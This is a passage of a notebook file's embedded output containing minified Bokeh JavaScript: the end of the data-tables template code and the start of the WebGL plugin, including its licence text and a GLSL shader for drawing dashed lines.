RegExp([(t.escape||m).source,(t.interpolate||m).source,(t.evaluate||m).source].join(\\\"|\\\")+\\\"|$\\\",\\\"g\\\"),l=0,s=\\\"__p+='\\\";i.replace(o,function(e,t,n,o,r){return s+=i.slice(l,r).replace(w,function(e){return\\\"\\\\\\\\\\\"+v[e]}),t&&(s+=\\\"'+\\\\n((__t=(\\\"+t+\\\"))==null?'':_.escape(__t))+\\\\n'\\\"),n&&(s+=\\\"'+\\\\n((__t=(\\\"+n+\\\"))==null?'':__t)+\\\\n'\\\"),o&&(s+=\\\"';\\\\n\\\"+o+\\\"\\\\n__p+='\\\"),l=r+e.length,e}),s+=\\\"';\\\\n\\\",t.variable||(s=\\\"with(obj||{}){\\\\n\\\"+s+\\\"}\\\\n\\\"),s=\\\"var __t,__p='',__j=Array.prototype.join,print=function(){__p+=__j.call(arguments,'');};\\\\n\\\"+s+\\\"return __p;\\\\n\\\";try{n=new Function(t.variable||\\\"obj\\\",\\\"_\\\",s)}catch(e){throw e.source=s,e}if(e)return n(e,p);var r=function(e){return n.call(this,e,p)};return r.source=\\\"function(\\\"+(t.variable||\\\"obj\\\")+\\\"){\\\\n\\\"+s+\\\"}\\\",r},t.exports=p}},0,0)}(a.Bokeh)}(this);\\n\",\n       \"      //# sourceMappingURL=bokeh-tables.min.js.map\\n\",\n       \"      /* END bokeh-tables.min.js */\\n\",\n       \"    },\\n\",\n       \"    \\n\",\n       \"    function(Bokeh) {\\n\",\n       \"      /* BEGIN bokeh-gl.min.js */\\n\",\n       \"      /*!\\n\",\n       \"       * Copyright (c) 2012 - 2018, Anaconda, Inc., and Bokeh Contributors\\n\",\n       \"       * All rights reserved.\\n\",\n       \"       * \\n\",\n       \"       * Redistribution and use in source and binary forms, with or without modification,\\n\",\n       \"       * are permitted provided that the following conditions are met:\\n\",\n       \"       * \\n\",\n       \"       * Redistributions of source code must retain the above copyright notice,\\n\",\n       \"       * this list of conditions and the following disclaimer.\\n\",\n       \"       * \\n\",\n       \"       * Redistributions in binary form must reproduce the above copyright notice,\\n\",\n       \"       * this list of conditions and the following disclaimer in the documentation\\n\",\n       \"       * and/or other materials provided with the distribution.\\n\",\n       \"       * \\n\",\n       \"       * Neither the name of Anaconda nor the names of any contributors\\n\",\n       \"       * may be used to endorse or promote products derived from this software\\n\",\n       \"       * without specific prior written permission.\\n\",\n       \"       * \\n\",\n       \"       * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \\\"AS IS\\\"\\n\",\n       \"       * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\\n\",\n       \"       * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\\n\",\n       \"       * ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE\\n\",\n       \"       * LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR\\n\",\n       \"       * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF\\n\",\n       \"       * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS\\n\",\n       \"       * INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN\\n\",\n       \"       * CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)\\n\",\n       \"       * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF\\n\",\n       \"       * THE POSSIBILITY OF SUCH DAMAGE.\\n\",\n       \"       */\\n\",\n       \"      !function(t,e){var a;a=t.Bokeh,function(t,e,n){if(null!=a)return a.register_plugin(t,{\\\"models/glyphs/webgl/base\\\":451,\\\"models/glyphs/webgl/index\\\":452,\\\"models/glyphs/webgl/line.frag\\\":453,\\\"models/glyphs/webgl/line\\\":454,\\\"models/glyphs/webgl/line.vert\\\":455,\\\"models/glyphs/webgl/main\\\":456,\\\"models/glyphs/webgl/markers.frag\\\":457,\\\"models/glyphs/webgl/markers\\\":458,\\\"models/glyphs/webgl/markers.vert\\\":459},456);throw new Error(\\\"Cannot find Bokeh. You have to load it prior to loading plugins.\\\")}({451:function(t,e,n){var g=t(27),y=t(14),a=function(){function t(t,e){this.gl=t,this.glyph=e,this.nvertices=0,this.size_changed=!1,this.data_changed=!1,this.visuals_changed=!1,this.init()}return t.prototype.set_data_changed=function(t){t!=this.nvertices&&(this.nvertices=t,this.size_changed=!0),this.data_changed=!0},t.prototype.set_visuals_changed=function(){this.visuals_changed=!0},t.prototype.render=function(t,e,n){var a,s=[0,1,2],i=s[0],r=s[1],o=s[2],l=1,_=1,h=this.glyph.renderer.map_to_screen([i*l,r*l,o*l],[i*_,r*_,o*_]),c=h[0],f=h[1];if(isNaN(c[0]+c[1]+c[2]+f[0]+f[1]+f[2]))return y.logger.warn(\\\"WebGL backend (\\\"+this.glyph.model.type+\\\"): falling back to canvas rendering\\\"),!1;if(l=100/Math.min(Math.max(Math.abs(c[1]-c[0]),1e-12),1e12),_=100/Math.min(Math.max(Math.abs(f[1]-f[0]),1e-12),1e12),a=this.glyph.renderer.map_to_screen([i*l,r*l,o*l],[i*_,r*_,o*_]),c=a[0],f=a[1],1e-6<Math.abs(c[1]-c[0]-(c[2]-c[1]))||1e-6<Math.abs(f[1]-f[0]-(f[2]-f[1])))return y.logger.warn(\\\"WebGL backend (\\\"+this.glyph.model.type+\\\"): falling back to canvas rendering\\\"),!1;var d=[(c[1]-c[0])/l,(f[1]-f[0])/_],u=d[0],g=d[1],p=this.glyph.renderer.plot_view.gl.canvas,v=p.width,m=p.height,x={pixel_ratio:this.glyph.renderer.plot_view.canvas.pixel_ratio,width:v,height:m,dx:c[0]/u,dy:f[0]/g,sx:u,sy:g};return this.draw(e,n,x),!0},t}();function p(t,e){for(var n=new Float32Array(t),a=0,s=t;a<s;a++)n[a]=e;return n}function v(t,e){return void 0!==t[e].spec.value}n.BaseGLGlyph=a,n.line_width=function(t){return t<2&&(t=Math.sqrt(2*t)),t},n.fill_array_with_float=p,n.fill_array_with_vec=function(t,e,n){for(var a=new Float32Array(t*e),s=0;s<t;s++)for(var i=0;i<e;i++)a[s*e+i]=n[i];return a},n.visual_prop_is_singular=v,n.attach_float=function(t,e,n,a,s,i){if(s.doit)if(v(s,i))e.used=!1,t.set_attribute(n,\\\"float\\\",s[i].value());else{e.used=!0;var r=new Float32Array(s.cache[i+\\\"_array\\\"]);e.set_size(4*a),e.set_data(0,r),t.set_attribute(n,\\\"float\\\",e)}else e.used=!1,t.set_attribute(n,\\\"float\\\",[0])},n.attach_color=function(t,e,n,a,s,i){var r,o=i+\\\"_color\\\",l=i+\\\"_alpha\\\";if(s.doit)if(v(s,o)&&v(s,l))e.used=!1,r=g.color2rgba(s[o].value(),s[l].value()),t.set_attribute(n,\\\"vec4\\\",r);else{var _=void 0,h=void 0;e.used=!0,h=v(s,o)?function(){for(var t=[],e=0,n=a;e<n;e++)t.push(s[o].value());return t}():s.cache[o+\\\"_array\\\"],_=v(s,l)?p(a,s[l].value()):s.cache[l+\\\"_array\\\"];for(var c=new Float32Array(4*a),f=0,d=a;f<d;f++){r=g.color2rgba(h[f],_[f]);for(var u=0;u<4;u++)c[4*f+u]=r[u]}e.set_size(4*a*4),e.set_data(0,c),t.set_attribute(n,\\\"vec4\\\",e)}else e.used=!1,t.set_attribute(n,\\\"vec4\\\",[0,0,0,0])}},452:function(t,e,n){var a=t(391);a.__exportStar(t(454),n),a.__exportStar(t(458),n)},453:function(t,e,n){n.fragment_shader=\\\"\\\\nprecision mediump float;\\\\n\\\\nconst float PI = 3.14159265358979323846264;\\\\nconst float THETA = 15.0 * 3.14159265358979323846264/180.0;\\\\n\\\\nuniform sampler2D u_dash_atlas;\\\\n\\\\nuniform vec2 u_linecaps;\\\\nuniform float u_miter_limit;\\\\nuniform float u_linejoin;\\\\nuniform float u_antialias;\\\\nuniform float u_dash_phase;\\\\nuniform float u_dash_period;\\\\nuniform float u_dash_index;\\\\nuniform vec2 u_dash_caps;\\\\nuniform float u_closed;\\\\n\\\\nvarying vec4  v_color;\\\\nvarying vec2  v_segment;\\\\nvarying vec2  v_angles;\\\\nvarying vec2  v_texcoord;\\\\nvarying vec2  v_miter;\\\\nvarying float v_length;\\\\nvarying float v_linewidth;\\\\n\\\\n// Compute distance to cap ----------------------------------------------------\\\\nfloat cap( int type, float dx, float dy, float t, float linewidth )\\\\n{\\\\n    float d = 0.0;\\\\n    dx = abs(dx);\\\\n    dy = abs(dy);\\\\n    if      (type == 0)  discard;  // None\\\\n    else if (type == 1)  d = sqrt(dx*dx+dy*dy);  // Round\\\\n    else if (type == 3)  d = (dx+abs(dy));  // Triangle in\\\\n    else if (type == 2)  d = max(abs(dy),(t+dx-abs(dy)));  // Triangle out\\\\n    else if (type == 4)  d = max(dx,dy);  // Square\\\\n    else if (type == 5)  d = max(dx+t,dy);  // Butt\\\\n    return d;\\\\n}\\\\n\\\\n// Compute distance to join -------------------------------------------------\\\\nfloat join( in int type, in float d, in vec2 segment, in vec2 texcoord, in vec2 miter,\\\\n           in float linewidth )\\\\n{\\\\n    // texcoord.x is distance from start\\\\n    // texcoord.y is distance from centerline\\\\n    // segment.x and y indicate the limits (as for texcoord.x) for this segment\\\\n\\\\n    float dx = texcoord.x;\\\\n\\\\n    // Round join\\\\n    if( type == 1 ) {\\\\n        if (dx < segment.x) {\\\\n            d = max(d,length( texcoord - vec2(segment.x,0.0)));\\\\n            //d = length( texcoord - vec2(segment.x,0.0));\\\\n        } else if (dx > segment.y) {\\\\n            d = max(d,length( texcoord - vec2(segment.y,0.0)));\\\\n            //d = length( texcoord - vec2(segment.y,0.0));\\\\n        }\\\\n    }\\\\n    // Bevel join\\\\n    else if ( type == 2 ) {\\\\n        if (dx < segment.x) {\\\\n            vec2 x = texcoord - vec2(segment.x,0.0);\\\\n            d = max(d, max(abs(x.x), abs(x.y)));\\\\n\\\\n        } else if (dx > segment.y) {\\\\n            vec2 x = texcoord - vec2(segment.y,0.0);\\\\n            d = max(d, max(abs(x.x), abs(x.y)));\\\\n        }\\\\n        /*  Original code for bevel which does not work for us\\\\n        if( (dx < segment.x) ||  (dx > segment.y) )\\\\n            d = max(d, min(abs(x.x),abs(x.y)));\\\\n        */\\\\n    }\\\\n\\\\n    return d;\\\\n}\\\\n\\\\nvoid main()\\\\n{\\\\n    // If color is fully transparent we just discard the fragment\\\\n    if( v_color.a <= 0.0 ) {\\\\n        discard;\\\\n    }\\\\n\\\\n    // Test if dash pattern is the solid one (0)\\\\n    bool solid =  (u_dash_index == 0.0);\\\\n\\\\n    // Test if path is closed\\\\n    bool closed = (u_closed > 0.0);\\\\n\\\\n    vec4 color = v_color;\\\\n    float dx = v_texcoord.x;\\\\n    float dy = v_texcoord.y;\\\\n    float t = v_linewidth/2.0-u_antialias;\\\\n    float width = 1.0;  //v_linewidth; original code had dashes scale with line width, we do not\\\\n    float d = 0.0;\\\\n\\\\n    vec2 linecaps = u_linecaps;\\\\n    vec2 dash_caps = u_dash_caps;\\\\n    float line_start = 0.0;\\\\n    float line_stop = v_length;\\\\n\\\\n    // Apply miter limit; fragments too far into the miter are simply discarded\\\\n    if( (dx < v_segment.x) || (dx > v_segment.y) ) {\\\\n        float into_miter = max(v_segment.x - dx, dx - v_segment.y);\\\\n        if (into_miter > u_miter_limit*v_linewidth/2.0)\\\\n          discard;\\\\n    }\\\\n\\\\n    // Solid line --------------------------------------------------------------\\\\n    if( solid ) {\\\\n        d = abs(dy);\\\\n        if( (!closed) && (dx < line_start) ) {\\\\n            d = cap( int(u_linecaps.x), abs(dx), abs(dy), t, v_linewidth );\\\\n        }\\\\n        else if( (!closed) &&  (dx > line_stop) ) {\\\\n            d = cap( int(u_linecaps.y), abs(dx)-line_stop, abs(dy), t, v_linewidth );\\\\n        }\\\\n        else {\\\\n            d = join( int(u_linejoin), abs(dy), v_segment, v_texcoord, v_miter, v_linewidth );\\\\n        }\\\\n\\\\n    // Dash line --------------------------------------------------------------\\\\n    } else {\\\\n        float segment_start = v_segment.x;\\\\n        float segment_stop  = v_segment.y;\\\\n        float segment_center= (segment_start+segment_stop)/2.0;\\\\n        float freq          = u_dash_period*width;\\\\n        float u = mod( dx + u_dash_phase*width, freq);\\\\n        vec4 tex = texture2D(u_dash_atlas, vec2(u/freq, u_dash_index)) * 255.0 -10.0;  // conversion to int-like\\\\n        float dash_center= tex.x * width;\\\\n        float dash_type  = tex.y;\\\\n        float _start = tex.z * width;\\\\n        float _stop  = tex.a * width;\\\\n        float dash_start = dx - u + _start;\\\\n        float dash_stop  = dx - u + _stop;\\\\n\\\\n        // Compute extents of the first dash (the one relative to v_segment.x)\\\\n        // Note: this could be computed in the vertex shader\\\\n        if( (dash_stop < segment_start) && (dash_caps.x != 5.0) ) {\\\\n            float u = mod(segment_start + u_dash_phase*width, freq);\\\\n            vec4 tex = texture2D(u_dash_atlas, vec2(u/freq, u_dash_index)) * 255.0 -10.0;  // conversion to int-like\\\\n            dash_center= tex.x * width;\\\\n            //dash_type  = tex.y;\\\\n            float _start = tex.z * width;\\\\n            float _stop  = tex.a * width;\\\\n            dash_start = segment_start - u + _start;\\\\n            dash_stop = segment_start - u + _stop;\\\\n        }\\\\n\\\\n        // Compute extents of the last dash (the one relatives to v_segment.y)\\\\n        // Note: This could be computed in the vertex shader\\\\n        else if( (dash_start > segment_stop)  && (dash_caps.y != 5.0) ) {\\\\n            float u = mod(segment_stop + u_dash_phase*width, freq);\\\\n            vec4 tex = texture2D(u_dash_atlas, vec2(u/freq, u_dash_index)) * 255.0 -10.0;  // conversion to int-like\\\\n            dash_center= tex.x * width;\\\\n            //dash_type  = tex.y;\\\\n            float _start = tex.z * width;\\\\n            float _stop  = tex.a * width;\\\\n            dash_start = segment_stop - u + _start;\\\\n            dash_stop  = segment_stop - u + _stop;\\\\n        }\\\\n\\\\n        // This test if the we are dealing with a discontinuous angle\\\\n        bool discontinuous = ((dx <  segment_center) && abs(v_angles.x) > THETA) ||\\\\n                             ((dx >= segment_center) && abs(v_angles.y) > THETA);\\\\n        //if( dx < line_start) discontinuous = false;\\\\n        //if( dx > line_stop)  discontinuous = false;\\\\n\\\\n        float d_join = join( int(u_linejoin), abs(dy),\\\\n                            v_segment, v_texcoord, v_miter, v_linewidth );\\\\n\\\\n        // When path is closed, we do not have room for linecaps, so we make room\\\\n        // by shortening the total length\\\\n        if (closed) {\\\\n             line_start += v_linewidth/2.0;\\\\n             line_stop  -= v_linewidth/2.0;\\\\n        }\\\\n\\\\n        // We also need to take antialias area into account\\\\n        //line_start += u_antialias;\\\\n        //line_stop  -= u_antialias;\\\\n\\\\n        // Check is dash stop is before line start\\\\n        if( dash_stop <= line_start ) {\\\\n            discard;\\\\n        }\\\\n        // Check is dash start is beyond line stop\\\\n        if( dash_start >= line_stop ) {\\\\n            discard;\\\\n        }\\\\n\\\\n        // Check if current dash start is beyond segment stop\\\\n        if( discontinuous ) {\\\\n            // Dash start is beyond segment, we discard\\\\n            if( (dash_start > segment_stop) ) {\\\\n                discard;\\\\n                //gl_FragColor = vec4(1.0,0.0,0.0,.25); return;\\\\n            }\\\\n\\\\n            // Dash stop is before segment, we discard\\\\n            if( (dash_stop < segment_start) ) {\\\\n                discard;  //gl_FragColor = vec4(0.0,1.0,0.0,.25); return;\\\\n            }\\\\n\\\\n            // Special case for round caps (nicer with this)\\\\n            if( dash_caps.x == 1.0 ) {\\\\n                if( (u > _stop) && (dash_stop > segment_stop )  && (abs(v_angles.y) < PI/2.0)) {\\\\n                    discard;\\\\n                }\\\\n            }\\\\n\\\\n            // Special case for round caps  (nicer with this)\\\\n            if( dash_caps.y == 1.0 ) {\\\\n                if( (u < _start) && (dash_start < segment_start )  && (abs(v_angles.x) < PI/2.0)) {\\\\n                    discard;\\\\n                }\\\\n            }\\\\n\\\\n            // Special case for triangle caps (in & out) and square\\\\n            // We make sure the cap stop at crossing frontier\\\\n            if( (dash_caps.x != 1.0) && (dash_caps.x != 5.0) ) {\\\\n                if( (dash_start < segment_start )  && (abs(v_angles.x) < PI/2.0) ) {\\\\n                    float a = v_angles.x/2.0;\\\\n                    float x = (segment_start-dx)*cos(a) - dy*sin(a);\\\\n                    float y = (segment_start-dx)*sin(a) + dy*cos(a);\\\\n                    if( x > 0.0 ) discard;\\\\n                    // We transform the cap into square to avoid holes\\\\n                    dash_caps.x = 4.0;\\\\n                }\\\\n            }\\\\n\\\\n            // Special case for triangle caps (in & out) and square\\\\n            // We make sure the cap stop at crossing frontier\\\\n            if( (dash_caps.y != 1.0) && (dash_caps.y != 5.0) ) {\\\\n                if( (dash_stop > segment_stop )  && (abs(v_angles.y) < PI/2.0) ) {\\\\n                    float a = v_angles.y/2.0;\\\\n                    float x = (dx-segment_stop)*cos(a) - dy*sin(a);\\\\n                    float y = (dx-segment_stop)*sin(a) + dy*cos(a);\\\\n                    if( x > 0.0 ) discard;\\\\n                    // We transform the caps into square to avoid holes\\\\n                    dash_caps.y = 4.0;\\\\n                }\\\\n            }\\\\n        }\\\\n\\\\n        // Line cap at start\\\\n        if( (dx < line_start) && (dash_start < line_start) && (dash_stop > line_start) ) {\\\\n            d = cap( int(linecaps.x), dx-line_start, dy, t, v_linewidth);\\\\n        }\\\\n        // Line cap at stop\\\\n        else if( (dx > line_stop) && (dash_stop > line_stop) && (dash_start < line_stop) ) {\\\\n            d = cap( int(linecaps.y), dx-line_stop, dy, t, v_linewidth);\\\\n        }\\\\n        // Dash cap left - dash_type = -1, 0 or 1, but there may be roundoff errors\\\\n        else if( dash_type < -0.5 ) {\\\\n            d = cap( int(dash_caps.y), abs(u-dash_center), dy, t, v_linewidth);\\\\n            if( (dx > line_start) && (dx < line_stop) )\\\\n                d = max(d,d_join);\\\\n        }\\\\n        // Dash cap right\\\\n        else if( dash_type > 0.5 ) {\\\\n            d = cap( int(dash_caps.x), abs(dash_center-u), dy, t, v_linewidth);\\\\n            if( (dx > line_start) && (dx < line_stop) )\\\\n                d = max(d,d_join);\\\\n        }\\\\n        // Dash body (plain)\\\\n        else {// if( dash_type > -0.5 &&  dash_type < 0.5) {\\\\n            d = abs(dy);\\\\n        }\\\\n\\\\n        // Line join\\\\n        if( (dx > line_start) && (dx < line_stop)) {\\\\n            if( (dx <= segment_start) && (dash_start <= segment_start)\\\\n                && (dash_stop >= segment_start) ) {\\\\n                d = d_join;\\\\n                // Antialias at outer border\\\\n                float angle = PI/2.+v_angles.x;\\\\n                float f = abs( (segment_start - dx)*cos(angle) - dy*sin(angle));\\\\n                d = max(f,d);\\\\n            }\\\\n            else if( (dx > segment_stop) && (dash_start <= segment_stop)\\\\n                     && (dash_stop >= segment_stop) ) {\\\\n                d = d_join;\\\\n                // Antialias at outer border\\\\n                float angle = PI/2.+v_angles.y;\\\\n                float f = abs((dx - segment_stop)*cos(angle) - dy*sin(angle));\\\\n                d = max(f,d);\\\\n            }\\\\n            else if( dx < (segment_start - v_linewidth/2.)) {\\\\n                discard;\\\\n            }\\\\n            else if( dx > (segment_stop + v_linewidth/2.)) {\\\\n                discard;\\\\n            }\\\\n        }\\\\n        else if( dx < (segment_start - v_linewidth/2.)) {\\\\n            discard;\\\\n        }\\\\n        else if( dx > (segment_stop + v_linewidth/2.)) {\\\\n            discard;\\\\n        }\\\\n    }\\\\n\\\\n    // Distance to border ------------------------------------------------------\\\\n    d = d - t;\\\\n    if( d < 0.0 ) {\\\\n        gl_FragColor = color;\\\\n    } else {\\\\n        d /= u_antialias;\\\\n        gl_FragColor = vec4(color.rgb, exp(-d*d)*color.a);\\\\n    }\\\\n}\\\\n\\\"},454:function(t,e,n){var a=t(391),s=t(460),i=t(451),r=t(455),o=t(453),l=t(27),_=function(){function t(t){this._atlas={},this._index=0,this._width=256,this._height=256,this.tex=new s.Texture2D(t),this.tex.set_wrapping(t.REPEAT,t.REPEAT),this.tex.set_interpolation(t.NEAREST,t.NEAREST),this.tex.set_size([this._height,this._width],t.RGBA),this.tex.set_data([0,0],[this._height,this._width],new Uint8Array(this._height*this._width*4)),this.get_atlas_data([1])}return t.prototype.get_atlas_data=function(t){var e=t.join(\\\"-\\\"),n=this._atlas[e];if(void 0===n){var a=this.make_pattern(t),s=a[0],i=a[1];this.tex.set_data([this._index,0],[1,this._width],new Uint8Array(s.map(function(t){return t+10}))),this._atlas[e]=[this._index/this._height,i],this._index+=1}return this._atlas[e]},t.prototype.make_pattern=function(t){1<t.length&&t.length%2&&(t=t.concat(t));for(var e=0,n=0,a=t;n<a.length;n++){var s=a[n];e+=s}for(var i=[],r=0,o=0,l=t.length+2;o<l;o+=2){var _=Math.max(1e-4,t[o%t.length]),h=Math.max(1e-4,t[(o+1)%t.length]);i.push(r,r+_),r+=_+h}for(var c=this._width,f=new Float32Array(4*c),o=0,l=c;o<l;o++){for(var d=void 0,u=void 0,g=void 0,p=e*o/(c-1),v=0,m=1e16,x=0,y=i.length;x<y;x++){var b=Math.abs(i[x]-p);b<m&&(v=x,m=b)}v%2==0?(g=p<=i[v]?1:0,u=i[v],d=i[v+1]):(g=p>i[v]?-1:0,u=i[v-1],d=i[v]),f[4*o+0]=i[v],f[4*o+1]=g,f[4*o+2]=u,f[4*o+3]=d}return[f,e]},t}(),h={miter:0,round:1,bevel:2},c={\\\"\\\":0,none:0,\\\".\\\":0,round:1,\\\")\\\":1,\\\"(\\\":1,o:1,\\\"triangle in\\\":2,\\\"<\\\":2,\\\"triangle out\\\":3,\\\">\\\":3,square:4,\\\"[\\\":4,\\\"]\\\":4,\\\"=\\\":4,butt:5,\\\"|\\\":5},f=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return a.__extends(e,t),e.prototype.init=function(){var t=this.gl;this._scale_aspect=0;var e=r.vertex_shader,n=o.fragment_shader;this.prog=new s.Program(t),this.prog.set_shaders(e,n),this.index_buffer=new s.IndexBuffer(t),this.vbo_position=new s.VertexBuffer(t),this.vbo_tangents=new s.VertexBuffer(t),this.vbo_segment=new s.VertexBuffer(t),this.vbo_angles=new s.VertexBuffer(t),this.vbo_texcoord=new s.VertexBuffer(t),this.dash_atlas=new _(t)},e.prototype.draw=function(t,e,n){var a=e.glglyph;if(a.data_changed){if(!isFinite(n.dx)||!isFinite(n.dy))return;a._baked_offset=[n.dx,n.dy],a._set_data(),a.data_changed=!1}this.visuals_changed&&(this._set_visuals(),this.visuals_changed=!1);var s=n.sx,i=n.sy,r=Math.sqrt(s*s+i*i);s/=r,i/=r,Math.abs(this._scale_aspect-i/s)>Math.abs(.001*this._scale_aspect)&&(a._update_scale(s,i),this._scale_aspect=i/s),this.prog.set_attribute(\\\"a_position\\\",\\\"vec2\\\",a.vbo_position),this.prog.set_attribute(\\\"a_tangents\\\",\\\"vec4\\\",a.vbo_tangents),this.prog.set_attribute(\\\"a_segment\\\",\\\"vec2\\\",a.vbo_segment),this.prog.set_attribute(\\\"a_angles\\\",\\\"vec2\\\",a.vbo_angles),this.prog.set_attribute(\\\"a_texcoord\\\",\\\"vec2\\\",a.vbo_texcoord),this.prog.set_uniform(\\\"u_length\\\",\\\"float\\\",[a.cumsum]),this.prog.set_texture(\\\"u_dash_atlas\\\",this.dash_atlas.tex);var o=a._baked_offset;if(this.prog.set_uniform(\\\"u_pixel_ratio\\\",\\\"float\\\",[n.pixel_ratio]),this.prog.set_uniform(\\\"u_canvas_size\\\",\\\"vec2\\\",[n.width,n.height]),this.prog.set_uniform(\\\"u_offset\\\",\\\"vec2\\\",[n.dx-o[0],n.dy-o[1]]),this.prog.set_uniform(\\\"u_scale_aspect\\\",\\\"vec2\\\",[s,i]),this.prog.set_uniform(\\\"u_scale_length\\\",\\\"float\\\",[r]),this.I_triangles=a.I_triangles,this.I_triangles.length<65535)this.index_buffer.set_size(2*this.I_triangles.length),this.index_buffer.set_data(0,new Uint16Array(this.I_triangles)),this.prog.draw(this.gl.TRIANGLES,this.index_buffer);else{t=Array.from(this.I_triangles);for(var l=this.I_triangles.length,_=64008,h=[],c=0,f=Math.ceil(l/_);c<f;c++)h.push([]);for(var c=0,f=t.length;c<f;c++){var d=t[c]%_,u=Math.floor(t[c]/_);h[u].push(d)}for(var u=0,f=h.length;u<f;u++){var g=new Uint16Array(h[u]),p=u*_*4;0!==g.length&&(this.prog.set_attribute(\\\"a_position\\\",\\\"vec2\\\",a.vbo_position,0,2*p),this.prog.set_attribute(\\\"a_tangents\\\",\\\"vec4\\\",a.vbo_tangents,0,4*p),this.prog.set_attribute(\\\"a_segment\\\",\\\"vec2\\\",a.vbo_segment,0,2*p),this.prog.set_attribute(\\\"a_angles\\\",\\\"vec2\\\",a.vbo_angles,0,2*p),this.prog.set_attribute(\\\"a_texcoord\\\",\\\"vec2\\\",a.vbo_texcoord,0,2*p),this.index_buffer.set_size(2*g.length),this.index_buffer.set_data(0,g),this.prog.draw(this.gl.TRIANGLES,this.index_buffer))}}},e.prototype._set_data=function(){this._bake(),this.vbo_position.set_size(4*this.V_position.length),this.vbo_position.set_data(0,this.V_position),this.vbo_tangents.set_size(4*this.V_tangents.length),this.vbo_tangents.set_data(0,this.V_tangents),this.vbo_angles.set_size(4*this.V_angles.length),this.vbo_angles.set_data(0,this.V_angles),this.vbo_texcoord.set_size(4*this.V_texcoord.length),this.vbo_texcoord.set_data(0,this.V_texcoord)},e.prototype._set_visuals=function(){var t,e=l.color2rgba(this.glyph.visuals.line.line_color.value(),this.glyph.visuals.line.line_alpha.value()),n=c[this.glyph.visuals.line.line_cap.value()],a=h[this.glyph.visuals.line.line_join.value()];this.prog.set_uniform(\\\"u_color\\\",\\\"vec4\\\",e),this.prog.set_uniform(\\\"u_linewidth\\\",\\\"float\\\",[this.glyph.visuals.line.line_width.value()]),this.prog.set_uniform(\\\"u_antialias\\\",\\\"float\\\",[.9]),this.prog.set_uniform(\\\"u_linecaps\\\",\\\"vec2\\\",[n,n]),this.prog.set_uniform(\\\"u_linejoin\\\",\\\"float\\\",[a]),this.prog.set_uniform(\\\"u_miter_limit\\\",\\\"float\\\",[10]);var s=this.glyph.visuals.line.line_dash.value(),i=0,r=1;s.length&&(t=this.dash_atlas.get_atlas_data(s),i=t[0],r=t[1]),this.prog.set_uniform(\\\"u_dash_index\\\",\\\"float\\\",[i]),this.prog.set_uniform(\\\"u_dash_phase\\\",\\\"float\\\",[this.glyph.visuals.line.line_dash_offset.value()]),this.prog.set_uniform(\\\"u_dash_period\\\",\\\"float\\\",[r]),this.prog.set_uniform(\\\"u_dash_caps\\\",\\\"vec2\\\",[n,n]),this.prog.set_uniform(\\\"u_closed\\\",\\\"float\\\",[0])},e.prototype._bake=function(){for(var t,e,n,a,s,i,r,o,l=this.nvertices,_=new Float64Array(this.glyph._x),h=new Float64Array(this.glyph._y),c=r=new Float32Array(2*l),f=new Float32Array(2*l),d=o=new Float32Array(4*l),u=0,g=l;u<g;u++)c[2*u+0]=_[u]+this._baked_offset[0],c[2*u+1]=h[u]+this._baked_offset[1];this.tangents=e=new Float32Array(2*l-2);for(var u=0,g=l-1;u<g;u++)e[2*u+0]=r[2*(u+1)+0]-r[2*u+0],e[2*u+1]=r[2*(u+1)+1]-r[2*u+1];for(var u=0,g=l-1;u<g;u++)d[4*(u+1)+0]=e[2*u+0],d[4*(u+1)+1]=e[2*u+1],d[4*u+2]=e[2*u+0],d[4*u+3]=e[2*u+1];d[0]=e[0],d[1]=e[1],d[4*(l-1)+2]=e[2*(l-2)+0],d[4*(l-1)+3]=e[2*(l-2)+1];for(var p=new Float32Array(l),u=0,g=l;u<g;u++)p[u]=Math.atan2(o[4*u+0]*o[4*u+3]-o[4*u+1]*o[4*u+2],o[4*u+0]*o[4*u+2]+o[4*u+1]*o[4*u+3]);for(var u=0,g=l-1;u<g;u++)f[2*u+0]=p[u],f[2*u+1]=p[u+1];var v=4*l-4;this.V_position=a=new Float32Array(2*v),this.V_angles=n=new Float32Array(2*v),this.V_tangents=s=new Float32Array(4*v),this.V_texcoord=i=new Float32Array(2*v);for(var u=0,g=l;u<g;u++)for(var m=0;m<4;m++){for(var x=0;x<2;x++)a[2*(4*u+m-2)+x]=c[2*u+x],n[2*(4*u+m)+x]=f[2*u+x];for(var x=0;x<4;x++)s[4*(4*u+m-2)+x]=d[4*u+x]}for(var u=0,g=l;u<g;u++)i[2*(4*u+0)+0]=-1,i[2*(4*u+1)+0]=-1,i[2*(4*u+2)+0]=1,i[2*(4*u+3)+0]=1,i[2*(4*u+0)+1]=-1,i[2*(4*u+1)+1]=1,i[2*(4*u+2)+1]=-1,i[2*(4*u+3)+1]=1;var y=6*(l-1);this.I_triangles=t=new Uint32Array(y);for(var u=0,g=l;u<g;u++)t[6*u+0]=0+4*u,t[6*u+1]=1+4*u,t[6*u+2]=3+4*u,t[6*u+3]=2+4*u,t[6*u+4]=0+4*u,t[6*u+5]=3+4*u},e.prototype._update_scale=function(t,e){var n,a=this.nvertices,s=4*a-4,i=this.tangents,r=new Float32Array(a-1),o=new Float32Array(2*a);this.V_segment=n=new Float32Array(2*s);for(var l=0,_=a-1;l<_;l++)r[l]=Math.sqrt(Math.pow(i[2*l+0]*t,2)+Math.pow(i[2*l+1]*e,2));for(var h=0,l=0,_=a-1;l<_;l++)h+=r[l],o[2*(l+1)+0]=h,o[2*l+1]=h;for(var l=0,_=a;l<_;l++)for(var c=0;c<4;c++)for(var 